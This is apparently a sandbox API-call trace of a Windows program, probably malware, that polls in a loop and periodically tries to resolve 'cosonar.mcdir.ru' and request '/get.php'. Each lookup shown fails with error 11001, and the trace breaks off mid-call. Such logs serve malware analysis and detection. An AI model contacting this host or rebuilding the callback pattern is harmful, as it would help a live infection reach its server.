[0208.479] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.479] Sleep (dwMilliseconds=0x64) [0208.588] timeGetTime () returned 0x3a6ca [0208.588] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.588] Sleep (dwMilliseconds=0x64) [0208.698] timeGetTime () returned 0x3a738 [0208.698] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.698] Sleep (dwMilliseconds=0x64) [0208.807] timeGetTime () returned 0x3a7a5 [0208.807] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.807] Sleep (dwMilliseconds=0x64) [0208.916] timeGetTime () returned 0x3a813 [0208.916] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0208.916] Sleep (dwMilliseconds=0x64) [0209.026] timeGetTime () returned 0x3a880 [0209.026] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.026] Sleep (dwMilliseconds=0x64) [0209.135] timeGetTime () returned 0x3a8ee [0209.135] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.136] Sleep (dwMilliseconds=0x64) [0209.245] timeGetTime () returned 0x3a95b [0209.245] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.245] Sleep (dwMilliseconds=0x64) [0209.355] timeGetTime () returned 0x3a9c8 [0209.355] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.355] Sleep (dwMilliseconds=0x64) [0209.463] timeGetTime () returned 0x3aa35 [0209.463] GetLastError () returned 0x0 [0209.464] SetLastError (dwErrCode=0x0) [0209.464] GetLastError () returned 0x0 [0209.464] SetLastError (dwErrCode=0x0) [0209.464] GetLastError () returned 0x0 [0209.464] SetLastError (dwErrCode=0x0) [0209.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ee88, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1029 | out: lpWideCharStr="start") returned 6 [0209.464] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0209.464] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0209.464] VerifyVersionInfoW (in: lpVersionInformation=0x358ef58, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ef58) returned 1 [0209.464] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x260 [0209.464] CreateWaitableTimerW (lpTimerAttributes=0x0, bManualReset=0, lpTimerName=0x0) returned 0x254 [0209.464] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358f058, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0209.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x25c [0209.464] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x258 [0209.464] GetLastError () returned 0x0 [0209.464] SetLastError (dwErrCode=0x0) [0209.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x12756f6, lpParameter=0xc88f38, dwCreationFlags=0x0, lpThreadId=0x358f008 | out: lpThreadId=0x358f008*=0xd9c) returned 0x30c [0209.465] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) returned 0x0 [0209.465] CloseHandle (hObject=0x25c) returned 1 [0209.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f0 | out: lpSystemTimeAsFileTime=0x358f0f0*(dwLowDateTime=0x282baa92, dwHighDateTime=0x1d43869)) [0209.465] GetLastError () returned 0x0 [0209.465] SetLastError (dwErrCode=0x0) [0209.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f0f8 | out: lpSystemTimeAsFileTime=0x358f0f8*(dwLowDateTime=0x282baa92, dwHighDateTime=0x1d43869)) [0209.465] GetLastError () returned 0x0 [0209.465] SetLastError (dwErrCode=0x0) [0209.465] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 0 [0209.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x358f038 | out: lpSystemTimeAsFileTime=0x358f038*(dwLowDateTime=0x282baa92, dwHighDateTime=0x1d43869)) [0209.465] GetLastError () returned 0x0 [0209.465] SetLastError (dwErrCode=0x0) [0209.465] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358f088, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0209.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc93c08, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0209.466] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0209.466] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0209.466] VerifyVersionInfoW (in: lpVersionInformation=0x358ed88, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ed88) returned 1 [0209.466] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x25c [0209.466] WSASetLastError (iError=0) [0209.466] getaddrinfo (in: pNodeName="cosonar.mcdir.ru", pServiceName="http", pHints=0x358f0e8*(ai_flags=1024, ai_family=0, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x358efb0 | out: ppResult=0x358efb0*=0x0) returned 11001 [0209.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc937c0, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="/get.php", cchWideChar=-1, lpMultiByteStr=0xc89310, cbMultiByte=1032, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/get.php", lpUsedDefaultChar=0x0) returned 9 [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cosonar.mcdir.ru", cchWideChar=-1, lpMultiByteStr=0xc937c0, cbMultiByte=1040, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cosonar.mcdir.ru", lpUsedDefaultChar=0x0) returned 17 [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.470] GetLastError () returned 0x2af9 [0209.470] SetLastError (dwErrCode=0x2af9) [0209.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ee88, cbMultiByte=-1, lpWideCharStr=0xc95560, cchWideChar=1027 | out: lpWideCharStr="end") returned 4 [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2af9, dwLanguageId=0x400, lpBuffer=0x358f110, nSize=0x0, Arguments=0x0 | out: lpBuffer="PlÆ") returned 0x18 [0209.471] LocalFree (hMem=0xc66c50) returned 0x0 [0209.471] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x358f148) [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] RtlUnwind (TargetFrame=0x358fad0, TargetIp=0x12763b1, ExceptionRecord=0x358eb08, ReturnValue=0x0) [0209.471] GetLastError () returned 0x2af9 [0209.471] SetLastError (dwErrCode=0x2af9) [0209.471] InterlockedExchangeAdd (in: Addend=0xc9059c, Value=0 | out: Addend=0xc9059c) returned 0 [0209.471] PostQueuedCompletionStatus (CompletionPort=0x260, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0xc90f10) returned 1 [0209.471] PostQueuedCompletionStatus (CompletionPort=0x25c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0209.471] InterlockedExchangeAdd (in: Addend=0xc89dc8, Value=0 | out: Addend=0xc89dc8) returned 0 [0209.471] CloseHandle (hObject=0x25c) returned 1 [0209.472] SetWaitableTimer (hTimer=0x254, lpDueTime=0x358e810, lPeriod=1, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0209.472] InterlockedExchangeAdd (in: Addend=0xc90590, Value=0 | out: Addend=0xc90590) returned 1 [0209.472] GetQueuedCompletionStatus (in: CompletionPort=0x260, lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x358e81c, lpCompletionKey=0x358e820, lpOverlapped=0x358e80c) returned 1 [0209.472] InterlockedExchangeAdd (in: Addend=0xc90590, Value=0 | out: Addend=0xc90590) returned 0 [0209.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0x358e7d0*=0x258, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0209.472] CloseHandle (hObject=0x258) returned 1 [0209.472] InterlockedExchangeAdd (in: Addend=0x139a49c, Value=0 | out: Addend=0x139a49c) returned 0 [0209.472] QueueUserAPC (pfnAPC=0x111bb70, hThread=0x30c, dwData=0x0) returned 0x1 [0209.472] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0xffffffff) returned 0x0 [0209.473] CloseHandle (hObject=0x254) returned 1 [0209.473] CloseHandle (hObject=0x30c) returned 1 [0209.473] CloseHandle (hObject=0x260) returned 1 [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.473] SetLastError (dwErrCode=0x0) [0209.473] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc8ab08, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1058 | out: lpWideCharStr="No such host is known; code: 11001") returned 35 [0209.474] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] GetLastError () returned 0x0 [0209.474] SetLastError (dwErrCode=0x0) [0209.474] timeGetTime () returned 0x3aa35 [0209.474] timeGetTime () returned 0x3aa35 [0209.474] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.474] Sleep (dwMilliseconds=0x64) [0209.588] timeGetTime () returned 0x3aab2 [0209.588] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.588] Sleep (dwMilliseconds=0x64) [0209.698] timeGetTime () returned 0x3ab20 [0209.698] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.698] Sleep (dwMilliseconds=0x64) [0209.807] timeGetTime () returned 0x3ab8d [0209.807] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.807] Sleep (dwMilliseconds=0x64) [0209.916] timeGetTime () returned 0x3abfb [0209.916] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0209.917] Sleep (dwMilliseconds=0x64) [0210.026] timeGetTime () returned 0x3ac68 [0210.026] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.026] Sleep (dwMilliseconds=0x64) [0210.135] timeGetTime () returned 0x3acd5 [0210.135] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.135] Sleep (dwMilliseconds=0x64) [0210.244] timeGetTime () returned 0x3ad43 [0210.244] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.244] Sleep (dwMilliseconds=0x64) [0210.354] timeGetTime () returned 0x3adb0 [0210.354] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.354] Sleep (dwMilliseconds=0x64) [0210.463] timeGetTime () returned 0x3ae1e [0210.463] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.463] Sleep (dwMilliseconds=0x64) [0210.573] timeGetTime () returned 0x3ae8b [0210.573] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.573] Sleep (dwMilliseconds=0x64) [0210.682] timeGetTime () returned 0x3aef8 [0210.682] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.682] Sleep (dwMilliseconds=0x64) [0210.801] timeGetTime () returned 0x3af66 [0210.801] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.801] Sleep (dwMilliseconds=0x64) [0210.954] timeGetTime () returned 0x3b002 [0210.954] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0210.954] Sleep (dwMilliseconds=0x64) [0211.057] timeGetTime () returned 0x3b06f [0211.057] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.057] Sleep (dwMilliseconds=0x64) [0211.166] timeGetTime () returned 0x3b0dd [0211.166] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.166] Sleep (dwMilliseconds=0x64) [0211.276] timeGetTime () returned 0x3b14a [0211.276] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.276] Sleep (dwMilliseconds=0x64) [0211.392] timeGetTime () returned 0x3b1b7 [0211.392] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.392] Sleep (dwMilliseconds=0x64) [0211.495] timeGetTime () returned 0x3b225 [0211.495] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.495] Sleep (dwMilliseconds=0x64) [0211.604] timeGetTime () returned 0x3b292 [0211.604] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.604] Sleep (dwMilliseconds=0x64) [0211.714] timeGetTime () returned 0x3b300 [0211.714] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.714] Sleep (dwMilliseconds=0x64) [0211.822] timeGetTime () returned 0x3b36d [0211.822] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.822] Sleep (dwMilliseconds=0x64) [0211.933] timeGetTime () returned 0x3b3db [0211.933] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0211.933] Sleep (dwMilliseconds=0x64) [0212.041] timeGetTime () returned 0x3b448 [0212.041] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.041] Sleep (dwMilliseconds=0x64) [0212.151] timeGetTime () returned 0x3b4b5 [0212.151] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.151] Sleep (dwMilliseconds=0x64) [0212.260] timeGetTime () returned 0x3b522 [0212.260] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.260] Sleep (dwMilliseconds=0x64) [0212.370] timeGetTime () returned 0x3b590 [0212.370] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.370] Sleep (dwMilliseconds=0x64) [0212.479] timeGetTime () returned 0x3b5fd [0212.479] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.479] Sleep (dwMilliseconds=0x64) [0212.588] timeGetTime () returned 0x3b66a [0212.588] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.588] Sleep (dwMilliseconds=0x64) [0212.700] timeGetTime () returned 0x3b6d8 [0212.700] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.700] Sleep (dwMilliseconds=0x64) [0212.816] timeGetTime () returned 0x3b745 [0212.816] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.816] Sleep (dwMilliseconds=0x64) [0212.932] timeGetTime () returned 0x3b7c2 [0212.932] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0212.932] Sleep (dwMilliseconds=0x64) [0213.042] timeGetTime () returned 0x3b830 [0213.042] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.042] Sleep (dwMilliseconds=0x64) [0213.148] timeGetTime () returned 0x3b89a [0213.148] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.148] Sleep (dwMilliseconds=0x64) [0213.257] timeGetTime () returned 0x3b907 [0213.257] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.257] Sleep (dwMilliseconds=0x64) [0213.366] timeGetTime () returned 0x3b974 [0213.366] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.366] Sleep (dwMilliseconds=0x64) [0213.475] timeGetTime () returned 0x3b9e2 [0213.476] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.476] Sleep (dwMilliseconds=0x64) [0213.585] timeGetTime () returned 0x3ba4f [0213.585] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.585] Sleep (dwMilliseconds=0x64) [0213.694] timeGetTime () returned 0x3babc [0213.694] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.694] Sleep (dwMilliseconds=0x64) [0213.804] timeGetTime () returned 0x3bb2a [0213.804] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.804] Sleep (dwMilliseconds=0x64) [0213.913] timeGetTime () returned 0x3bb97 [0213.913] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0213.913] Sleep (dwMilliseconds=0x64) [0214.023] timeGetTime () returned 0x3bc05 [0214.023] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.023] Sleep (dwMilliseconds=0x64) [0214.135] timeGetTime () returned 0x3bc76 [0214.135] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.135] Sleep (dwMilliseconds=0x64) [0214.250] timeGetTime () returned 0x3bce9 [0214.250] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.250] Sleep (dwMilliseconds=0x64) [0214.360] timeGetTime () returned 0x3bd56 [0214.360] PeekMessageW (in: lpMsg=0x358f13c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x358f13c) returned 0 [0214.360] Sleep (dwMilliseconds=0x64) [0214.471] timeGetTime () returned 0x3bdc5 [0214.471] GetLastError () returned 0x0 [0214.471] SetLastError (dwErrCode=0x0) [0214.471] GetLastError () returned 0x0 [0214.471] SetLastError (dwErrCode=0x0) [0214.471] GetLastError () returned 0x0 [0214.471] SetLastError (dwErrCode=0x0) [0214.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc7ed28, cbMultiByte=-1, lpWideCharStr=0xc88720, cchWideChar=1029 | out: lpWideCharStr="start") returned 6 [0214.471] InterlockedExchangeAdd (in: Addend=0x139a548, Value=0 | out: Addend=0x139a548) returned 0 [0214.471] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0214.471] VerifyVersionInfoW (in: lpVersionInformation=0x358ef58, dwTypeMask=0x2, dwlConditionMask=0x18 | out: lpVersionInformation=0x358ef58) returned 1 [0214.472] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x260 [0214.472] CreateWaitableTimerW (lpTimerAttributes=0x0, bManualReset=0, lpTimerName=0x0) returned 0x30c [0214.472] SetWaitableTimer (hTimer=0x30c, lpDueTime=0x358f058, lPeriod=300000, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0214.472] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x254 [0214.472] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x258 [0214.472] GetLastError () returned 0x0 [0214.472] SetLastError (dwErrCode=0x0) [0214.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x12756f6, lpParameter=0xc88f38, dwCreationFlags=0x0, lpThreadId=0x358f008 | out: lpThreadId=0x358f008*=0x9b8) returned 0x25c [0214.473] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0xffffffff) returned 0x0 [0214.473] CloseHandle (hObject=0x254) returned 1 [0214.474] GetSystemTimeAsFileTime (in: 